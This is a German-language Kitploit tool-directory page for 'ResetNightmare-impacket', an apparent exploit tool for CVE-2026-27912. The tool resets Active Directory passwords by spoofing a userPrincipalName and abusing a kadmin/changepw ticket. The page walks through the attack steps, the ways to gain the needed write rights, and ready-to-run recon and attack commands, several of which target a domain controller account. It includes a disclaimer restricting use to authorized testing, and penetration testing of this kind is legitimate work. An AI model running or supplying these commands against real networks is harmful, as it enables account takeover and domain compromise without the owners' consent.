Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ResetNightmare-impacket — CVE-2026-27912 (ResetNightmare) — Linux/impacket-Port des Invoke-ResetNightmare-PoC von Semperis Community | Kitploit
Tools/GitHubGitHub/mihat2/resetnightmare-impacket
PasswortangriffeSchwachstellenanalyseExploitationInformationsbeschaffungPenetrationstestsAuthentifizierungRed Teaming
GitHubmihat2/resetnightmare-impacket

ResetNightmare-impacket

CVE-2026-27912 (ResetNightmare) — Linux/impacket-Port des Invoke-ResetNightmare-PoC von Semperis Community

Repository anzeigen
1527vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

ResetNightmare — CVE-2026-27912

Linux-/impacket-Tooling für CVE-2026-27912 („ResetNightmare"). Setzt das Passwort eines Ziel-Active-Directory-Kontos zurück, indem ein kadmin/changepw-TGT für einen NT_ENTERPRISE-Principal angefordert wird, dessen Name der sAMAccountName des Ziels ist, unter Verwendung eines Kontos (UPNUser), auf dem wir einen gefälschten userPrincipalName schreiben können.

Python-Port des PowerShell-Tools Semperis Community Invoke-ResetNightmare (siehe Credits).

⚠️ Rechtlicher Haftungsausschluss

Nur für autorisierte Sicherheitstests und Bildungszwecke. Dieses Tool ändert echte Active-Directory-Anmeldeinformationen und kann Konten aussperren.

  • Führe es nur gegen Systeme aus, die du besitzt oder für die du eine ausdrückliche schriftliche Erlaubnis zum Testen hast (ein unterzeichnetes Engagement oder ein Labor, das du kontrollierst).
  • Unbefugter Zugriff auf Computersysteme ist illegal (z. B. der US CFAA, der UK Computer Misuse Act und entsprechende Gesetze) und kann straf- und zivilrechtliche Konsequenzen nach sich ziehen.
  • Die Autoren übernehmen keine Haftung für Missbrauch. Die Software wird „AS IS" bereitgestellt — siehe LICENSE. Wenn du keine Erlaubnis hast, führe dies nicht aus.

Funktionsweise

  1. (optional) UPNUser erstellen, selbst GenericAll gewähren, dessen Passwort setzen, aktivieren.
  2. Den sAMAccountName des Ziels auflösen.
  3. UPNUser.userPrincipalName = <targetSAN> setzen (der gefälschte UPN).
  4. AS-REQ als NT_ENTERPRISE '<targetSAN>' für kadmin/changepw — der KDC ordnet den Enterprise-UPN dem Ziel zu und stellt ein Passwortänderungs-TGT dafür aus.
  5. Den gefälschten UPN löschen.
  6. kpasswd-Passwortänderung mit diesem TGT → setzt das Passwort des Ziels.
  7. Den ursprünglichen UPN von UPNUser wiederherstellen.

Auswahl von --upn-user

--upn-user ist das Konto, auf dem du den gefälschten UPN schreibst (ein Benutzer oder ein Computer mit --computer). Die einzige Voraussetzung ist, dass du dessen userPrincipalName schreiben kannst. Es gibt drei Wege, das zu erreichen — dieselben, auf die sich das PowerShell-Original stützt:

#Wie du UPN-Schreibrecht erhältstFlagBenötigt eine OU?
AErstelle das Konto in einer OU, in der du Create Child hast → es gehört dir → das Tool gewährt sich selbst GenericAll → schreibt den UPN--create-new-pathJa
BEin bestehendes Konto, auf dem du bereits GenericWrite / GenericAll / WriteProperty(userPrincipalName) hast(keine)Nein
CEin bestehendes Konto, das dir gehört oder auf dem du WriteDacl hast (kein direktes Schreiben von Eigenschaften)--grant-selfNein

Du musst also nicht zwingend eine OU kontrollieren — Weg B funktioniert über delegierte Rechte auf einem beliebigen einzelnen Konto. Aber du brauchst einen von A/B/C. Führe --find aus, um zu sehen, welchen du hast.

Ein Domänencomputer allein reicht nicht aus. Ein Rechner, auf dem du lokaler Administrator bist / dessen Hash du besitzt — auf dem du aber keine AD-Schreibrechte hast —, liefert dir keinen von A/B/C. Und ein Computer, der über MachineAccountQuota erstellt wurde (addcomputer.py in CN=Computers), funktioniert ebenfalls nicht: Sein Ersteller ist nicht der Besitzer und erhält kein UPN-Schreibrecht, sodass sowohl das direkte Schreiben als auch --grant-self mit result 50 fehlschlagen. Verwende Weg A mit einer delegierten OU.

Installation

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

Verwendung

Die Operator-Anmeldedaten sind das erste Positionsargument: [domain/]username[:password]. Jedes Passwort kann weggelassen werden, und Sie werden dann zur Eingabe aufgefordert.

Recon — was kann dieses Konto missbrauchen? Meldet Konten, bei denen Sie einen UPN schreiben können, OUs, in denen Sie Objekte erstellen können, und das MachineAccountQuota, mit vorgeschlagenen Befehlen:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

Jeder Fund gibt seine via:-Begründung(en) und das owner: des Objekts aus. Der Owner unterscheidet die beiden Pfade zur Computer-Erstellung auf einen Blick — ein delegierter Container-Computer zeigt owner: <you> (du hast implizit WRITE_DAC, daher funktioniert --grant-self), während ein MAQ / CN=Computers-Computer owner: BUILTIN\Administrators zeigt (du hast es nicht, daher kann er nicht verwendet werden):

=== Accounts you can write a UPN on  (use as --upn-user) ===
  [+] svc_web                        CN=svc_web,OU=Services,DC=corp,DC=local
        via:   WriteProperty(userPrincipalName)
        owner: Domain Admins

Setzen Sie ein Ziel zurück mit einem Konto, für das Sie einen UPN schreiben können:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Erstellen Sie zuerst das UPN-Konto (erfordert Create Child auf der OU und LDAPS):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Ein Computerkonto erstellen als UPN-Konto (--create-new-path + --computer):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
  --upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Bestehendes Konto, bei dem du die DACL umschreiben, aber den UPN nicht schreiben kannst (--grant-self). Wenn --find einen --upn-user meldet, der über Owner oder WriteDacl erreichbar ist (du kannst dessen ACL ändern, hast aber keinen direkten Property-Schreibzugriff), fügt --grant-self zuerst einen GenericAll-ACE für dich hinzu, dann wird der Angriff fortgesetzt. Nur für bestehende Konten — --create-new-path gewährt sich bereits selbst.

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --grant-self \
  --upn-user svc_legacy --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

Wenn --grant-self selbst mit result 50 fehlschlägt, sind Sie nicht der Besitzer und haben kein WriteDacl auf diesem Konto — es kann nicht helfen. Dies ist das übliche Ergebnis für einen Computer, den Sie über addcomputer.py/MAQ erstellt haben: Ersteller erhalten typischerweise weder Eigentum noch einen UPN- Schreibzugriff, daher sind MAQ-Computer nicht als --upn-user verwendbar. Führen Sie --find aus und wählen Sie ein Konto, das als WriteProperty(userPrincipalName), GenericWrite, GenericAll, Owner oder WriteDacl gekennzeichnet ist.

Fügen Sie -debug für ausführliches AS-REQ- / LDAP- / kpasswd-Logging hinzu.

Flags

Tool herunterladen